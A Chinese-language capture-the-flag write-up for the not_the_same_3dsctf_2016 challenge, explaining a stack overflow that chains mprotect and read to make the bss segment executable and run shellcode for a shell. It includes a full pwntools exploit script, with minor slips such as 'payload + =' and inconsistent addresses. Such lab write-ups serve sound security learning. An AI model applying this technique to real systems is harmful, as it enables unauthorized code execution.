buu not_the_same_3dsctf_2016
刚拿到题
刚打开的时候很懵,main函数里只有一个fopen函数和一个fgets函数,点半天也没查到什么。没有办法,shift+f12 :查看程序内的字符串,发现了flag.txt
双击跟进,ctrl+x找到调用这个字符串的函数,可以看到,这个函数将flag读了出来,存放到了unk_80F91B的位置。我们找到了flag的位置。接下来就要尝试把它读取出来就好了。
到这里,结合一开始看见的gets函数,得到了第一个思路:利用gets函数覆盖返回地址去读出flag → 利用get_secret函数覆盖地址到write函数的地址,打印unk_80CF91B里面的flag.txt。
但是这个方法不行,主要原因有以下几点:
- fgets函数能够避免溢出
- fl4g在bss段内,没有ret指令可以继续控制程序
后来在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell
from pwn import *
context(log_level='debug', arch='i386')
proc_name = './not_the_same_3dsctf_2016'
p = process(proc_name)
elf = ELF(proc_name)
bss_start_addr = elf.bss() & ~(elf.bss() % 0x1000)
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
# 0x080483b8 : pop esi ; pop edi ; pop ebp ; ret
pop = 0x080483b8
payload = 'a'.encode() * (0x2d) + p32(mprotect_addr)
payload + = p32(pop) + p32(bss_start_addr) + p32(0x100)
payload + = p32(0x7) + p32(read_addr) + p32(bss_start_addr)
payload + = p32(0) + p32(bss_start_addr) + p32(0x100)
p.sendline(payload)
payload1 = asm(shellcraft.sh())
p.sendline(payload1)
p.interactive()
- 首先
0x2d
是main函数中栈空间的大小,它的下一个位置就是ret指令对应的返回地址了 p32(mprotect_addr)
就是mprotect函数的地址,接下来的p32(pop)
是为了保持栈平衡而将后面压入的三个参数从栈上弹出,弹出后我们并不使用它,就是为了控制栈的结构,p32(pop)
的位置也同样是执行完mprotect
后的返回地址,pop
对应的指令为pop esi ; pop edi ; pop ebp ; ret
,最后ret就跳转到p32(read_addr)
这里了- 最后,
p32(read_addr)
的下一个p32(bss_start_addr)
也是执行完read函数后跳转的地址,后面是read的三个参数
整个思路就是,利用mprotect
函数修改bss段为0x7
即0b111
,可读可写可执行权限,然后利用read函数读入shellcode,最后跳转到shellcode的位置,就成功拿到shell了